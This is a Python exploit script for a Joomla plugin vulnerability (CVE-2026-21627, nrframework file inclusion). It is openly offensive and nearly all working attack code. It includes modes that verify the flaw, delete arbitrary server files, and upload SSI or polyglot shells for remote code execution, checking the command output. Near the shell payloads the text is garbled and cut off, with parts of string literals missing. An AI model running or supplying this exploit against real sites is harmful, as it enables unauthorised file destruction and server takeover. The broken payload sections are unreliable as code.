#!/usr/bin/env python3 """ CVE-2026-21627 - Tassos/Novarain Framework (plg_system_nrframework) Exploit Affects versions 4.10.14 - 6.0.37 on Joomla CMS Vulnerability: Unauthenticated Arbitrary PHP File Inclusion via ajaxTaskInclude() The 'include' task in onAjaxNrframework() allows frontend (non-admin) access. The 'path' parameter uses RAW input filter (no sanitization), enabling arbitrary PHP file inclusion. Combined with gadget classes (e.g. nrinlinefileupload), this enables: - Arbitrary file delete (onRemove → unlink without path validation) - File upload to user-controlled directory (onUpload → base64-decoded upload_folder) - Potential RCE via .shtml SSI injection or PHP polyglot upload Usage: python3 cve_2026_21627.py --target https://example.com --mode verify python3 cve_2026_21627.py --target https://example.com --mode upload --shell-type shtml python3 cve_2026_21627.py --target https://example.com --mode delete --file-path /var/www/html/test.txt Author: Yallasec - Arcangelo@Saracino.yallasec.com @arkango - https://yallasec.com """ import argparse import base64 import json import re import sys import time import requests from urllib.parse import urljoin, urlencode, urlparse # Suppress SSL warnings for self-signed certs requests.packages.urllib3.disable_warnings() DELAY = 2.5 # seconds between requests # --- Color output helpers --- class C: RED = "\033[91m" GREEN = "\033[92m" YELLOW = "\033[93m" BLUE = "\033[94m" CYAN = "\033[96m" BOLD = "\033[1m" RST = "\033[0m" def info(msg): print(f"{C.BLUE}[*]{C.RST} {msg}") def success(msg): print(f"{C.GREEN}[+]{C.RST} {msg}") def warn(msg): print(f"{C.YELLOW}[!]{C.RST} {msg}") def error(msg): print(f"{C.RED}[-]{C.RST} {msg}") def banner(): print(f"""{C.CYAN}{C.BOLD} ╔══════════════════════════════════════════════════════╗ ║ CVE-2026-21627 - nrframework File Include Exploit ║ ║ Tassos/Novarain Framework 4.10.14 - 6.0.37 ║ ╚══════════════════════════════════════════════════════╝{C.RST} """) class NRFrameworkExploit: """Exploit for CVE-2026-21627 arbitrary file inclusion in nrframework.""" # Gadget: nrinlinefileupload has onAjax() with file upload and delete GADGET_PATH = "plugins/system/nrframework/fields/" GADGET_FILE = "nrinlinefileupload" GADGET_CLASS = "JFormFieldNRInlineFileUpload" def __init__(self, target, sef_prefix="/it/", delay=DELAY, proxy=None, verify_ssl=False): self.target = target.rstrip("/") self.sef_prefix = sef_prefix self.delay = delay self.verify_ssl = verify_ssl self.session = requests.Session() self.session.verify = verify_ssl if proxy: self.session.proxies = {"http": proxy, "https": proxy} self.session.headers.update({ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" }) self.csrf_token = None self.base_url = None # will be set after auth def _sleep(self): """Rate limiting between requests.""" time.sleep(self.delay) def authenticate(self): """ Establish a Joomla session and extract the matching CSRF token. Joomla creates session cookies lazily - not on the homepage, but on specific requests. We trigger session creation by probing the AJAX endpoint, then re-fetch the homepage WITH the session cookie to get a CSRF token that matches this session. """ # Build base AJAX URL using Joomla's SEF format self.base_url = self.target + self.sef_prefix + "component/ajax/" # Step 1: Visit homepage to get load-balancer/ADC cookies info("Step 1/3: Fetching initial cookies from homepage...") url = self.target + self.sef_prefix try: self.session.get(url, timeout=30, allow_redirects=True) except requests.RequestException as e: error(f"Cannot reach target: {e}") return False self._sleep() # Step 2: Probe the AJAX endpoint to trigger Joomla session creation info("Step 2/3: Triggering Joomla session creation...") try: self.session.get( self.base_url, params={"format": "raw", "plugin": "nrframework"}, timeout=30, allow_redirects=True, ) except requests.RequestException: pass # We just need the Set-Cookie header self._sleep() # Step 3: Re-visit homepage WITH session cookie to get matching CSRF info("Step 3/3: Extracting session-bound CSRF token...") try: resp = self.session.get(url, timeout=30, allow_redirects=True) except requests.RequestException as e: error(f"Cannot reach target: {e}") return False # Extract CSRF token from Joomla's csrf.token JS variable m = re.search(r'"csrf\.token"\s*:\s*"([a-f0-9]{32})"', resp.text) if not m: m = re.search(r']+name="([a-f0-9]{32})"[^>]+value="1"', resp.text) if not m: error("Could not extract CSRF token from homepage") return False self.csrf_token = m.group(1) # Show session info joomla_cookie = None for name, value in self.session.cookies.items(): if len(name) == 32 and all(c in '0123456789abcdef' for c in name): joomla_cookie = (name, value) break if joomla_cookie: success(f"Joomla session: {joomla_cookie[0]}={joomla_cookie[1][:16]}...") else: warn("No Joomla session cookie detected (using ADC cookies only)") success(f"CSRF token: {self.csrf_token}") return True def _build_include_params(self, extra_params=None): """ Build the query parameters for the ajaxTaskInclude() exploit. This is the core of CVE-2026-21627. """ params = { "format": "raw", "plugin": "nrframework", "task": "include", "path": self.GADGET_PATH, "file": self.GADGET_FILE, "class": self.GADGET_CLASS, self.csrf_token: "1", } if extra_params: params.update(extra_params) return params def _ajax_request(self, method="GET", params=None, data=None, files=None): """ Send a request to the vulnerable AJAX endpoint. Joomla SEF routing may cause 303 redirects with &-encoded Location headers. We follow redirects manually, fixing the encoding issue. """ url = self.base_url max_redirects = 5 for attempt in range(max_redirects + 1): try: if method == "GET": resp = self.session.get(url, params=params, timeout=30, allow_redirects=False) else: resp = self.session.post(url, params=params, data=data, files=files, timeout=30, allow_redirects=False) except requests.RequestException as e: error(f"Request failed: {e}") return None # Follow redirects manually, fixing & encoding if resp.status_code in (301, 302, 303, 307, 308): location = resp.headers.get("Location", "") if not location: break # Fix Joomla's & encoding in redirect URLs location = location.replace("&", "&") # Make absolute if relative if location.startswith("/"): parsed = urlparse(self.target) location = f"{parsed.scheme}://{parsed.netloc}{location}" info(f"Following redirect ({resp.status_code}) → {location[:120]}...") # For 303, switch to GET and drop body/files if resp.status_code == 303: method = "GET" data = None files = None url = location params = None # params are now in the redirect URL time.sleep(0.5) continue break self._sleep() return resp # ────────────────────────────────────────────── # MODE: verify # ────────────────────────────────────────────── def verify(self): """ Verify the vulnerability exists by triggering the include chain. Expected: the gadget class is loaded and onAjax() executes, returning a JSON response instead of FILE_ERROR/CLASS_ERROR/METHOD_ERROR. """ info("Verifying CVE-2026-21627 (arbitrary file inclusion)...") params = self._build_include_params() resp = self._ajax_request("GET", params=params) if resp is None: error("No response received") return False body = resp.text.strip() status = resp.status_code info(f"HTTP {status} | Response length: {len(body)} | Body: {body[:200]}") # Check for error signatures from ajaxTaskInclude if body == "FILE_ERROR": error("FILE_ERROR - gadget file not found at expected path") warn("The plugin may be installed at a different path or version differs") return False elif body == "CLASS_ERROR": error("CLASS_ERROR - file included but class not found") return False elif body == "METHOD_ERROR": error("METHOD_ERROR - class found but onAJAX method missing") return False # If we get a JSON response or any other response, the chain executed if "error" in body.lower() or "response" in body.lower() or "upload" in body.lower(): success("VULNERABLE! Gadget class instantiated and onAjax() executed") success(f"Response: {body[:300]}") return True # Any non-error response means the include chain worked if status == 200 and body not in ("FILE_ERROR", "CLASS_ERROR", "METHOD_ERROR"): success("VULNERABLE! File inclusion chain executed successfully") success(f"Response: {body[:300]}") return True warn(f"Unexpected response (HTTP {status}): {body[:200]}") return False # ────────────────────────────────────────────── # MODE: delete (arbitrary file delete) # ────────────────────────────────────────────── def delete_file(self, file_path): """ Exploit the onRemove() method in JFormFieldNRInlineFileUpload to delete an arbitrary file on the server. The onRemove() code: if (file_exists($file)) { unlink($file); } No path validation is performed. """ info(f"Attempting to delete file: {file_path}") warn("This is a DESTRUCTIVE operation!") params = self._build_include_params({ "action": "remove", "remove_file": file_path, }) resp = self._ajax_request("GET", params=params) if resp is None: error("No response received") return False body = resp.text.strip() info(f"HTTP {resp.status_code} | Response: {body[:300]}") try: data = json.loads(body) if data.get("error") is False: success(f"File deletion succeeded: {file_path}") return True else: warn(f"Server response: {data.get('response', 'unknown')}") except json.JSONDecodeError: warn(f"Non-JSON response: {body[:200]}") return False # ────────────────────────────────────────────── # MODE: upload (file upload to controlled dir) # ────────────────────────────────────────────── def upload_file(self, shell_type="shtml", upload_dir="images", custom_content=None): """ Exploit the onUpload() method in JFormFieldNRInlineFileUpload to upload a file to a user-controlled directory. The upload_folder is base64-decoded from user input. Allowed MIME types: text/plain, text/csv Allowed extensions (for text/plain): csv, txt, shtml, html, log, etc. RCE strategies: - shtml: Upload .shtml with SSI (requires mod_include) - csv: Upload .csv with PHP polyglot (requires PHP config to parse .csv) - txt: Upload .txt for info disclosure / proof of write """ # Encode the upload directory in base64 upload_folder_b64 = base64.b64encode(upload_dir.encode()).decode() # Check if base64 contains chars stripped by Joomla's CMD filter (+, /, =) unsafe_chars = set(upload_folder_b64) & set("+/=") if unsafe_chars: warn(f"Upload dir '{upload_dir}' encodes to base64 with unsafe chars: {unsafe_chars}") warn("Joomla's CMD filter may strip these. Try a simpler directory name.") # Strip padding = since base64_decode in PHP handles missing padding upload_folder_b64 = upload_folder_b64.rstrip("=") remaining_unsafe = set(upload_folder_b64) & set("+/") if remaining_unsafe: error(f"Cannot encode path without +/: {upload_folder_b64}") return None info(f"Upload directory: {upload_dir} (base64: {upload_folder_b64})") # Prepare the shell content based on type if custom_content: content = custom_content filename = f"test.{shell_type}" elif shell_type == "shtml": # IMPORTANT: No HTML tags! mime_content_type() detects /\n" "\n" ) filename = "security-test.html" info("Shell type: HTML (stored XSS proof)") else: error(f"Unknown shell type: {shell_type}") return None # MIME type for the upload mime_map = { "shtml": "text/plain", "csv": "text/csv", "txt": "text/plain", "html": "text/plain", } mime_type = mime_map.get(shell_type, "text/plain") info(f"Uploading: {filename} ({len(content)} bytes, MIME: {mime_type})") # Build the multipart POST request # The AJAX endpoint params go in the query string params = self._build_include_params({ "upload_folder": upload_folder_b64, }) # The file goes as multipart form data files = { "file": (filename, content.encode(), mime_type) } resp = self._ajax_request("POST", params=params, files=files) if resp is None: error("No response received") return None body = resp.text.strip() info(f"HTTP {resp.status_code} | Response: {body[:500]}") try: data = json.loads(body) if data.get("error") is False: file_b64 = data.get("file", "") file_name_b64 = data.get("file_name", "") uploaded_path = base64.b64decode(file_b64).decode() if file_b64 else "unknown" uploaded_name = base64.b64decode(file_name_b64).decode() if file_name_b64 else "unknown" success(f"FILE UPLOADED SUCCESSFULLY!") success(f"Server path: {uploaded_path}") success(f"Filename: {uploaded_name}") success(f"File size: {data.get('file_size', 'unknown')}") # Construct the URL to access the uploaded file access_url = f"{self.target}/{upload_dir}/{uploaded_name}" success(f"Access URL: {access_url}") if shell_type == "shtml": info("Checking if SSI is enabled by accessing the uploaded file...") self._sleep() try: check = self.session.get(access_url, timeout=15) if "uid=" in check.text: success("RCE CONFIRMED via SSI! Command output:") print(f"\n{C.GREEN}{check.text}{C.RST}\n") elif "\n' ) result = self.upload_file( shell_type="shtml", upload_dir="images", custom_content=shtml_content ) if result: access_url = result["url"] info(f"Checking RCE at {access_url}...") self._sleep() try: resp = self.session.get(access_url, timeout=15) body = resp.text.strip() # If SSI processed, the tags would be replaced if "